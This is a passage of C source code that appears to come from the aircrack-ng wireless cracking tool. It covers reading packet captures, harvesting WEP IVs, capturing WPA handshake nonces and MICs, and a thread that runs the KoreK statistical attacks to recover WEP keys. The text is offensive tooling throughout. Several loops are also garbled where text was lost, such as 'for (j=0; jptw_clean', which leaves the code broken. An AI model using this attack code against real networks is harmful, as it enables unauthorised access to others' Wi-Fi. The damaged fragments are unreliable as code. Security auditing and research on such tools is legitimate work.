== 0x00 && p[1] > 0 && p[2] != '\0' ) { n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); } p += 2 + p[1]; } } /* packet parsing: Association Response */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL ) st_cur->wpa.state = 0; } /* check if data */ if( ( h80211[0] & 0x0C ) != 0x08 ) goto unlock_mx_apl; /* check minimum size */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) z+=2; /* 802.11e QoS */ if( z + 16 > pkh.caplen ) goto unlock_mx_apl; /* check the SNAP header to see if data is encrypted */ if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 ) { if( !opt.forced_amode ) { ap_cur->crypt = 2; /* encryption = WEP */ /* check the extended IV flag */ if( ( h80211[z + 3] & 0x20 ) != 0) { /* encryption = WPA */ ap_cur->crypt = 3; } } /* check the WEP key index */ if( opt.index != 0 && ( h80211[z + 3] >> 6 ) != opt.index - 1 ) goto unlock_mx_apl; if (opt.do_ptw) { unsigned char *body = h80211 + z; int dlen = pkh.caplen - (body-h80211) - 4 -4; unsigned char clear[2048]; int clearsize, i, j, k; int weight[16]; if((h80211[1] & 0x03) == 0x03) //30byte header { body += 6; dlen -=6; } memset(weight, 0, sizeof(weight)); memset(clear, 0, sizeof(clear)); /* calculate keystream */ k = known_clear(clear, &clearsize, weight, h80211, dlen); if (clearsize < (opt.keylen+3)) goto unlock_mx_apl; for (j=0; jptw_clean, body, clear, weight, k)) ap_cur->nb_ivs_clean++; } if (PTW_addsession(ap_cur->ptw_vague, body, clear, weight, k)) ap_cur->nb_ivs_vague++; goto unlock_mx_apl; } /* save the IV & first two output bytes */ memcpy( buffer , h80211 + z , 3 ); memcpy( buffer + 3, h80211 + z + 4, 2 ); /* Special handling for spanning-tree packets */ if ( memcmp( h80211 + 4, SPANTREE, 6 ) == 0 || memcmp( h80211 + 16, SPANTREE, 6 ) == 0 ) { buffer[3] = (buffer[3] ^ 0x42) ^ 0xAA; buffer[4] = (buffer[4] ^ 0x42) ^ 0xAA; } goto add_wep_iv; } if( ap_cur->crypt < 0 ) ap_cur->crypt = 0; /* no encryption */ /* if ethertype == IPv4, find the LAN address */ z += 6; if( z + 20 < pkh.caplen ) { if( h80211[z] == 0x08 && h80211[z + 1] == 0x00 && ( h80211[1] & 3 ) == 0x01 ) memcpy( ap_cur->lanip, &h80211[z + 14], 4 ); if( h80211[z] == 0x08 && h80211[z + 1] == 0x06 ) memcpy( ap_cur->lanip, &h80211[z + 16], 4 ); } /* check ethertype == EAPOL */ if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E ) goto unlock_mx_apl; z += 2; ap_cur->eapol = 1; /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */ if( h80211[z + 1] != 0x03 || ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) ) goto unlock_mx_apl; ap_cur->eapol = 0; if( !opt.forced_amode ) ap_cur->crypt = 3; /* set WPA */ if( st_cur == NULL ) { pthread_mutex_unlock( &mx_apl ); continue; } /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); /* authenticator nonce set */ st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); /* supplicant nonce set */ st_cur->wpa.state |= 2; } if( (st_cur->wpa.state & 4) != 4 ) { /* copy the MIC & eapol frame */ st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol) || pkh.len - z < st_cur->wpa.eapol_size) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto unlock_mx_apl; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); /* eapol frame & keymic set */ st_cur->wpa.state |= 4; /* copy the key descriptor version */ st_cur->wpa.keyver = h80211[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); /* authenticator nonce set */ st_cur->wpa.state |= 1; } if( (st_cur->wpa.state & 4) != 4 ) { /* copy the MIC & eapol frame */ st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol) || pkh.len - z < st_cur->wpa.eapol_size) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto unlock_mx_apl; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); /* eapol frame & keymic set */ st_cur->wpa.state |= 4; /* copy the key descriptor version */ st_cur->wpa.keyver = h80211[z + 6] & 7; } } if( st_cur->wpa.state == 7 ) { /* got one valid handshake */ memcpy( st_cur->wpa.stmac, stmac, 6 ); memcpy( &ap_cur->wpa, &st_cur->wpa, sizeof( struct WPA_hdsk ) ); } unlock_mx_apl: pthread_mutex_unlock( &mx_apl ); if( ap_cur != NULL ) { if( ( ap_cur->nb_ivs >= opt.max_ivs) || ( ap_cur->nb_ivs_clean >= opt.max_ivs ) || ( ap_cur->nb_ivs_vague >= opt.max_ivs ) ) { eof_wait( &eof_notified ); free(buffer); return; } } } read_fail: if(rb.buf1 != NULL) { free(rb.buf1); rb.buf1=NULL; } if(rb.buf2 != NULL) { free(rb.buf2); rb.buf2=NULL; } if(buffer != NULL) { free(buffer); buffer=NULL; } if(close_aircrack) return; //everything is going down kill( 0, SIGTERM ); _exit( FAILURE ); } void check_thread( void *arg ) { int fd, n, fmt; unsigned z; // int ret=0; unsigned char bssid[6]; unsigned char dest[6]; unsigned char stmac[6]; unsigned char *buffer; unsigned char *h80211; unsigned char *p; int weight[16]; struct ivs2_pkthdr ivs2; struct ivs2_filehdr fivs2; struct pcap_pkthdr pkh; struct pcap_file_header pfh; struct AP_info *ap_prv, *ap_cur; struct ST_info *st_prv, *st_cur; memset( &crb, 0, sizeof( crb ) ); ap_cur = NULL; if( ( buffer = (unsigned char *) malloc( 65536 ) ) == NULL ) { /* there is no buffer */ perror( "malloc failed" ); goto read_fail; } h80211 = buffer; if( ! opt.is_quiet ) printf( "Opening %s\n", (char *) arg ); if( strcmp( arg, "-" ) == 0 ) fd = 0; else { if( ( fd = open( (char *) arg, O_RDONLY | O_BINARY ) ) < 0 ) { perror( "open failed" ); goto read_fail; } } if( ! atomic_read( &crb, fd, 4, &pfh ) ) { perror( "read(file header) failed" ); goto read_fail; } fmt = FORMAT_IVS; if( memcmp( &pfh, IVSONLY_MAGIC, 4 ) != 0 && memcmp( &pfh, IVS2_MAGIC, 4 ) != 0) { fmt = FORMAT_CAP; if( pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "Unsupported file format " "(not a pcap or IVs file).\n" ); goto read_fail; } /* read the rest of the pcap file header */ if( ! atomic_read( &crb, fd, 20, (unsigned char *) &pfh + 4 ) ) { perror( "read(file header) failed" ); goto read_fail; } /* take care of endian issues and check the link type */ if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( pfh.linktype ); if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER && pfh.linktype != LINKTYPE_RADIOTAP_HDR && pfh.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "This file is not a regular " "802.11 (wireless) capture.\n" ); goto read_fail; } } else { if( opt.wep_decloak ) { errx(1, "Can't use decloak wep mode with ivs\n"); /* XXX */ } if (memcmp( &pfh, IVS2_MAGIC, 4 ) == 0) { fmt = FORMAT_IVS2; if( ! atomic_read( &crb, fd, sizeof(struct ivs2_filehdr), (unsigned char *) &fivs2 ) ) { perror( "read(file header) failed" ); goto read_fail; } if(fivs2.version > IVS2_VERSION) { printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION ); goto read_fail; } } else if (opt.do_ptw) errx(1, "Can't do PTW with old IVS files, recapture without --ivs or use airodump-ng >= 1.0\n"); /* XXX */ } /* avoid blocking on reading the file */ if( fcntl( fd, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); goto read_fail; } while( 1 ) { if(close_aircrack) break; if( fmt == FORMAT_IVS ) { /* read one IV */ while( ! atomic_read( &crb, fd, 1, buffer ) ) goto read_fail; if( buffer[0] != 0xFF ) { /* new access point MAC */ bssid[0] = buffer[0]; while( ! atomic_read( &crb, fd, 5, bssid + 1 ) ) goto read_fail; } while( ! atomic_read( &crb, fd, 5, buffer ) ) goto read_fail; } else if( fmt == FORMAT_IVS2 ) { while( ! atomic_read( &crb, fd, sizeof( struct ivs2_pkthdr ), &ivs2 ) ) goto read_fail; if(ivs2.flags & IVS2_BSSID) { while( ! atomic_read( &crb, fd, 6, bssid ) ) goto read_fail; ivs2.len -= 6; } while( ! atomic_read( &crb, fd, ivs2.len, buffer ) ) goto read_fail; } else { while( ! atomic_read( &crb, fd, sizeof( pkh ), &pkh ) ) goto read_fail; if( pfh.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } if( pkh.caplen <= 0 || pkh.caplen > 65535 ) { fprintf( stderr, "\nInvalid packet capture length %d - " "corrupted file?\n", pkh.caplen ); goto read_fail; } while( ! atomic_read( &crb, fd, pkh.caplen, buffer ) ) goto read_fail; h80211 = buffer; if( pfh.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else { n = *(int *)( h80211 + 4 ); if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( n ); } if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_PPI_HDR ) { /* Remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) pkh.caplen ) continue; /* for a whole Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } } /* prevent concurrent access on the linked list */ pthread_mutex_lock( &mx_apl ); nb_pkt++; if( fmt == FORMAT_CAP ) { /* skip packets smaller than a 802.11 header */ if( pkh.caplen < 24 ) goto unlock_mx_apl; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) goto unlock_mx_apl; /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } switch( h80211[1] & 3 ) { case 0: memcpy( dest, h80211 + 4, 6 ); break; //Adhoc case 1: memcpy( dest, h80211 + 16, 6 ); break; //ToDS case 2: memcpy( dest, h80211 + 4, 6 ); break; //FromDS case 3: memcpy( dest, h80211 + 16, 6 ); break; //WDS -> Transmitter taken as BSSID } //skip corrupted keystreams in wep decloak mode if(opt.wep_decloak) { if(dest[0] == 0x01) goto unlock_mx_apl; } } if(opt.bssidmerge) mergebssids(opt.bssidmerge, bssid); if( memcmp( bssid, BROADCAST, 6 ) == 0 ) /* probe request or such - skip the packet */ goto unlock_mx_apl; if( memcmp( opt.maddr, ZERO, 6 ) != 0 && memcmp( opt.maddr, BROADCAST, 6 ) != 0 ) { /* apply the MAC filter */ if( memcmp( opt.maddr, h80211 + 4, 6 ) != 0 && memcmp( opt.maddr, h80211 + 10, 6 ) != 0 && memcmp( opt.maddr, h80211 + 16, 6 ) != 0 ) goto unlock_mx_apl; } /* search the linked list */ ap_prv = NULL; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); pthread_mutex_unlock( &mx_apl ); break; } memset( ap_cur, 0, sizeof( struct AP_info ) ); if( ap_1st == NULL ) ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); ap_cur->crypt = -1; // Shortcut to set encryption: // - WEP is 2 for 'crypt' and 1 for 'amode'. // - WPA is 3 for 'crypt' and 2 for 'amode'. if (opt.forced_amode) ap_cur->crypt = opt.amode + 1; } if( fmt == FORMAT_IVS ) { ap_cur->crypt = 2; add_wep_iv: /* check for uniqueness first */ if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } goto unlock_mx_apl; } if( fmt == FORMAT_IVS2 ) { if(ivs2.flags & IVS2_ESSID) { if (ivs2.len > 32) { // Max length of the ESSID (and length -1 of that field) fprintf(stderr, "Invalid SSID length, it must be <= 32\n"); exit(1); } memcpy( ap_cur->essid, buffer, ivs2.len); if(opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) memcpy( opt.bssid, ap_cur->bssid, 6 ); } else if(ivs2.flags & IVS2_XOR) { ap_cur->crypt = 2; if (opt.do_ptw) { int clearsize; clearsize = ivs2.len; if (clearsize < opt.keylen+3) goto unlock_mx_apl; } if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } } else if(ivs2.flags & IVS2_PTW) { ap_cur->crypt = 2; if (opt.do_ptw) { int clearsize; clearsize = ivs2.len; if (buffer[5] < opt.keylen) goto unlock_mx_apl; if( clearsize < (6 + buffer[4]*32 + 16*(signed)sizeof(int)) ) goto unlock_mx_apl; } if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } } else if(ivs2.flags & IVS2_WPA) { ap_cur->crypt = 3; memcpy( &ap_cur->wpa, buffer, sizeof( struct WPA_hdsk ) ); } goto unlock_mx_apl; } /* locate the station MAC in the 802.11 header */ st_cur = NULL; switch( h80211[1] & 3 ) { case 0: memcpy( stmac, h80211 + 10, 6 ); break; case 1: memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* reject broadcast MACs */ if( (h80211[4]%2) != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; break; } st_prv = NULL; st_cur = ap_cur->st_1st; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new supplicant, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); pthread_mutex_unlock( &mx_apl ); break; } memset( st_cur, 0, sizeof( struct ST_info ) ); if( ap_cur->st_1st == NULL ) ap_cur->st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); } skip_station: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { if( ap_cur->crypt < 0 ) ap_cur->crypt = ( h80211[34] & 0x10 ) >> 4; p = h80211 + 36; while( p < h80211 + pkh.caplen ) { if( p + 2 + p[1] > h80211 + pkh.caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if(opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) memcpy( opt.bssid, ap_cur->bssid, 6 ); } p += 2 + p[1]; } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 ) { p = h80211 + 28; while( p < h80211 + pkh.caplen ) { if( p + 2 + p[1] > h80211 + pkh.caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' ) { n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if(opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) memcpy( opt.bssid, ap_cur->bssid, 6 ); } p += 2 + p[1]; } /* reset the WPA handshake state */ if( st_cur != NULL ) st_cur->wpa.state = 0; } /* packet parsing: Association Response */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL ) st_cur->wpa.state = 0; } /* check if data */ if( ( h80211[0] & 0x0C ) != 0x08 ) goto unlock_mx_apl; /* check minimum size */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) z+=2; /* 802.11e QoS */ if( z + 16 > pkh.caplen ) goto unlock_mx_apl; /* check the SNAP header to see if data is encrypted */ if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 ) { if( !opt.forced_amode ) ap_cur->crypt = 2; /* encryption = WEP */ /* check the extended IV flag */ if( ( h80211[z + 3] & 0x20 ) != 0 && !opt.forced_amode) { /* encryption = WPA */ ap_cur->crypt = 3; } /* check the WEP key index */ if( opt.index != 0 && ( h80211[z + 3] >> 6 ) != opt.index - 1 ) goto unlock_mx_apl; if (opt.do_ptw) { unsigned char *body = h80211 + z; int dlen = pkh.caplen - (body-h80211) - 4 -4; unsigned char clear[2048]; int clearsize, k; if((h80211[1] & 0x03) == 0x03) //30byte header { body += 6; dlen -=6; } /* calculate keystream */ k = known_clear(clear, &clearsize, weight, h80211, dlen); if (clearsize < (opt.keylen+3)) goto unlock_mx_apl; } /* save the IV & first two output bytes */ memcpy( buffer , h80211 + z , 3 ); goto add_wep_iv; } if( ap_cur->crypt < 0 ) ap_cur->crypt = 0; /* no encryption */ /* if ethertype == IPv4, find the LAN address */ z += 6; if( z + 20 < pkh.caplen ) { if( h80211[z] == 0x08 && h80211[z + 1] == 0x00 && ( h80211[1] & 3 ) == 0x01 ) memcpy( ap_cur->lanip, &h80211[z + 14], 4 ); if( h80211[z] == 0x08 && h80211[z + 1] == 0x06 ) memcpy( ap_cur->lanip, &h80211[z + 16], 4 ); } /* check ethertype == EAPOL */ if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E ) goto unlock_mx_apl; z += 2; ap_cur->eapol = 1; /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */ if( h80211[z + 1] != 0x03 || ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) ) goto unlock_mx_apl; ap_cur->eapol = 0; ap_cur->crypt = 3; /* set WPA */ if( st_cur == NULL ) { pthread_mutex_unlock( &mx_apl ); continue; } /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); /* authenticator nonce set */ st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); /* supplicant nonce set */ st_cur->wpa.state |= 2; } if( (st_cur->wpa.state & 4) != 4 ) { /* copy the MIC & eapol frame */ st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol) || pkh.len - z < st_cur->wpa.eapol_size) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto unlock_mx_apl; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); /* eapol frame & keymic set */ st_cur->wpa.state |= 4; /* copy the key descriptor version */ st_cur->wpa.keyver = h80211[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); /* authenticator nonce set */ st_cur->wpa.state |= 1; } if( (st_cur->wpa.state & 4) != 4 ) { /* copy the MIC & eapol frame */ st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol) || pkh.len - z < st_cur->wpa.eapol_size) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto unlock_mx_apl; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); /* eapol frame & keymic set */ st_cur->wpa.state |= 4; /* copy the key descriptor version */ st_cur->wpa.keyver = h80211[z + 6] & 7; } } if( st_cur->wpa.state == 7 ) { /* got one valid handshake */ memcpy( st_cur->wpa.stmac, stmac, 6 ); memcpy( &ap_cur->wpa, &st_cur->wpa, sizeof( struct WPA_hdsk ) ); } unlock_mx_apl: pthread_mutex_unlock( &mx_apl ); if( ap_cur != NULL ) if( ap_cur->nb_ivs >= opt.max_ivs ) break; } read_fail: if(crb.buf1 != NULL) { free(crb.buf1); crb.buf1 = NULL; } if(crb.buf2 != NULL) { free(crb.buf2); crb.buf2 = NULL; } if(buffer != NULL) { free(buffer); buffer = NULL; } return; } /* timing routine */ float chrono( struct timeval *start, int reset ) { float delta; struct timeval current; gettimeofday( ¤t, NULL ); delta = ( current.tv_sec - start->tv_sec ) + (float) ( current.tv_usec - start->tv_usec ) / 1000000; if( reset ) gettimeofday( start, NULL ); return( delta ); } /* signal-safe I/O routines */ int safe_read( int fd, void *buf, size_t len ) { int n; size_t sum = 0; char *off = (char *) buf; while( sum < len ) { if( ! ( n = read( fd, (void *) off, len - sum ) ) ) { return( 0 ); } if( n < 0 && errno == EINTR ) continue; if( n < 0 ) return( n ); sum += n; off += n; } return( sum ); } int safe_write( int fd, void *buf, size_t len ) { int n; size_t sum = 0; char *off = (char *) buf; while( sum < len ) { if( ( n = write( fd, (void *) off, len - sum ) ) < 0 ) { if( errno == EINTR ) continue; return( n ); } sum += n; off += n; } return( sum ); } /* each thread computes the votes over a subset of the IVs */ int crack_wep_thread( void *arg ) { long xv, min, max; unsigned char jj[256]; unsigned char S[256], Si[256]; unsigned char K[64]; unsigned char io1, o1, io2, o2; unsigned char Sq, dq, Kq, jq, q; unsigned char S1, S2, J2, t2; int i, j, B, cid = (long) arg; int votes[N_ATTACKS][256]; //first: first S-Box Setup; first2:first round with new key; oldB: old B value int first=1, first2=1, oldB=0, oldq=0; memcpy( S, R, 256 ); memcpy( Si, R, 256 ); while( 1 ) { if(!first) oldB=B; if( safe_read( mc_pipe[cid][0], (void *) &B, sizeof( int ) ) != sizeof( int ) ) { perror( "read failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } if( close_aircrack ) break; first2=1; min = 5 * ( ( ( cid ) * wep.nb_ivs ) / opt.nbcpu ); max = 5 * ( ( ( 1 + cid ) * wep.nb_ivs ) / opt.nbcpu ); q = 3 + B; memcpy( K + 3, wep.key, B ); memset( votes, 0, sizeof( votes ) ); /* START: KoreK attacks */ for( xv = min; xv < max; xv += 5 ) { if(!first) { for(i=0; i= ( ( -q ) & 0xFF ) ) && ( ( ( q + S1 - io1 ) & 0xFF ) == 0 ) ) { Kq = 1 - dq; votes[A_u5_3][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u5_3); } } if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 ) && ( io1 != 1 ) && ( io1 != S[S1] ) ) { Kq = io1 - dq; votes[A_s5_1][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s5_1); } if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xFF ) == 0 ) ) { if( o2 == S1 ) { jq = Si[(S1 - S2) & 0xFF]; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_2][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s5_2); } } else if( o2 == ( ( 2 - S2 ) & 0xFF ) ) { jq = io2; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_3][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s5_3); } } } if( ( S[1] != 2 ) && ( S[2] != 0 ) ) { J2 = S[1] + S[2]; if( J2 < q ) { t2 = S[J2] + S[2]; if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 ) && ( io2 != J2 ) ) { Kq = io2 - dq; votes[A_s3][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s3); } } } if( S1 == 2 ) { if( q == 4 ) { if( o2 == 0 ) { Kq = Si[0] - dq; votes[A_4_s13][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_4_s13); } else { if( ( jj[1] == 2 ) && ( io2 == 0 ) ) { Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_4_u5_1); } if( ( jj[1] == 2 ) && ( io2 == 2 ) ) { Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_4_u5_2); } } } else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) && ( io2 != 1 ) && ( io2 != 4 ) ) { Kq = io2 - dq; votes[A_u5_4][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u5_4); } } if( close_aircrack ) break; } if( close_aircrack ) break; /* END: KoreK attacks */ if( safe_write( cm_pipe[cid][1], votes, sizeof( votes ) ) != sizeof( votes ) ) { perror( "write failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } } return( 0 ); } /* display the current votes */ void show_wep_stats( int B, int force, PTW_tableentry table[PTW_KEYHSBYTES][PTW_n], int choices[KEYHSBYTES], int depth[KEYHSBYTES], int prod ) { float delta; struct winsize ws; int i, et_h, et_m, et_s; static int is_cleared = 0; if( (chrono( &t_stats, 0 ) < 1.51 || wepkey_crack_success) && force == 0 ) return; if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 ) { ws.ws_row = 25; ws.ws_col = 80; } 